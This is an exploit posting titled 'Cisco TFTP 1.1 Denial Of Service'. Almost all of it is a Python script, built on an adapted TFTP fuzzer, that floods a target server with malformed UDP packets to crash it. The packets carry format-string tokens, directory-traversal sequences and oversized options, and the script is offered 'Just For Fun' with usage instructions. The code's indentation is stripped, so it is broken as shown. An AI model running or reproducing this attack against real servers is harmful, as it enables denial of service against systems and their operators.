Cisco TFTP 1.1 Denial Of Service

`# Exploit Title: [Cisco TFTP Server 1.1]  
# Date: [2010-03-25]  
# Author: [_SuBz3r0_]  
# Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html]  
# Version: [1.1]  
# Tested on: [XP SP3,Win2k3]  
# CVE : [if exists]  
# Code :  
#Cisco TFTP Server v1.1 DoS  
print ""  
print "##############################################"  
print "# _SuBz3r0_ #"  
print "##############################################"  
print ""  
print "Cisco TFTP v1.1 Remote DoS"  
print "Just For Fun"  
print "tftp_fuzz.py [ip of server]"  
print ""  
print "Greetz:piloo le canari & MaX"  
print "Credits to Ilja van Sprundel"  
print "Tested on: French Windows Xp Sp3 fully Patched"  
print ""  
  
#!/usr/bin/python  
# tftpd fuzzer by Ilja van Sprundel  
# implements rfc 1350, 2090, 2347, 2348, 2349  
#  
# todo: - 1 option per packet  
# - lots (>100) (small) options per packet  
# - add better option support to OACK  
# - client fuzzing ?  
import os, socket, sys, struct, random  
port = 69  
type = ["netascii", "octet", "binary", "mail"]  
asize = ["blkzise", "tsize"]  
class fuzz:  
def __init__(self):  
""" """  
def randstring(self, len):  
thestring = ""  
what = random.randint(0,5)  
if what < 5:  
for i in range(len):  
char = chr(random.randint(1,255))  
thestring += char  
else:  
thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"  
return thestring  
  
def randbin(self, len):  
thestring = ""  
for i in range(len):  
char = chr(random.randint(0,255))  
thestring += char  
return thestring  
  
def fuzz_rw(self):  
""" """  
data = ""  
if not random.randint(0,50):  
return ""  
if not random.randint(0,10):  
if random.randint(0,1):  
data = "../"  
else:  
howmany = random.randint(1,100)  
data = "../" * howmany  
  
data += self.randstring(random.randint(0,3000))  
# no 0byte  
if not random.randint(0,10):  
return data  
data += "\0"  
# no mode  
if not random.randint(0,100):  
return data  
  
if random.randint(0,5):  
data += random.choice(type)  
else:  
data += self.randstring(random.randint(0,3000))  
  
if not random.randint(0,10):  
return data  
data += "\0"  
if not random.randint(0,10):  
return data  
options = random.randint(0,100)  
if not random.randint(0,10):  
breakloop = 1  
breakit = random.randint(0, options)  
else:  
breakloop = 0  
longarg = random.randint(0, options)  
if not random.randint(0,10):  
lowlimit = 16  
options = options / 4  
else:  
lowlimit = 0  
for i in range(options):  
which = random.randint(lowlimit, 19)  
if which < 16:  
if longarg == i:  
data += self.randstring(random.randint(0,3000))  
else:  
data += self.randstring(random.randint(0,100))  
data += "\0"  
data += self.randstring(random.randint(0,100))  
if which == 16:  
data += "multicast\0"  
if not random.randint(0,5):  
if random.randint(0,1):  
data += self.randstring(random.randint(0,50))  
else:  
data += str(random.randint(0, 0xffffffff))  
if which == 17 or which == 18:  
data += random.choice(asize) + "\0"  
if random.randint(0,10):  
if random.randint(0,1):  
uplimit = 65535  
else:  
uplimit = 0xffffffff  
string = str(random.randint(0, uplimit))  
if random.randint(0,1):  
data += "-"  
data += string  
else:  
data += self.randstring(random.randint(0,50))  
if which == 19:  
data += "timeout\0"  
if random.randint(0,10):  
which = random.randint(0,5)  
if which < 4:  
uplimit = 255  
if which == 4:  
uplimit = 65535  
else:  
uplimit = 0xffffffff  
string = str(random.randint(0, uplimit))  
if random.randint(0,1):  
data += "-"  
data += string  
else:  
data += self.randstring(random.randint(0,50))  
  
if breakloop:  
if i == breakit:  
return data  
data += "\0"  
  
  
return data  
  
def make_data(self):  
""" """  
which = random.randint(0,10)  
if which < 6:  
# read is more likely to be accepted then write  
# hence we bias it towards reading !  
if random.randint(0,2):  
d = "\x00\x01"  
else:  
d = "\x00\x02"  
d += self.fuzz_rw()  
# do some tftpd's do something with this ???  
elif which == 6:  
d = "\x00\x03"  
d += self.randbin(2)  
d += self.randbin(random.randint(0,3000))  
elif which == 7:  
d = "\x00\x04"  
d += self.randbin(2)  
if not random.randint(0,10):  
d += self.randbin(random.randint(0,3000))  
elif which == 8:  
d = "\x00\x05"  
d += self.randbin(2)  
d += self.randstring(random.randint(0,1000))  
if random.randint(0,10):  
d += "\0"  
elif which == 9:  
# lets do this later ....  
d = "\x00\x06"  
d += self.randbin(1000)  
else:  
if random.randint(0,2):  
times = 512  
else:  
times = random.randint(512, 10000)  
d = self.randbin(random.randint(0,times))  
return d  
  
def run(self):  
""" """  
packets = 0  
try:  
while 1:  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
except:  
print "socket() failed"  
sys.exit(1)  
da = self.make_data()  
s.sendto(da, (host, port))  
s.close()  
os.write(1,".")  
packets += 1  
except KeyboardInterrupt:  
print "\nPackets: " + str(packets)  
  
if __name__ == '__main__':  
if len(sys.argv) <= 1:  
sys.exit(0)  
host = sys.argv[1]  
if len(sys.argv) >= 3:  
port = sys.argv[2]  
f = fuzz()  
f.run()  
  
`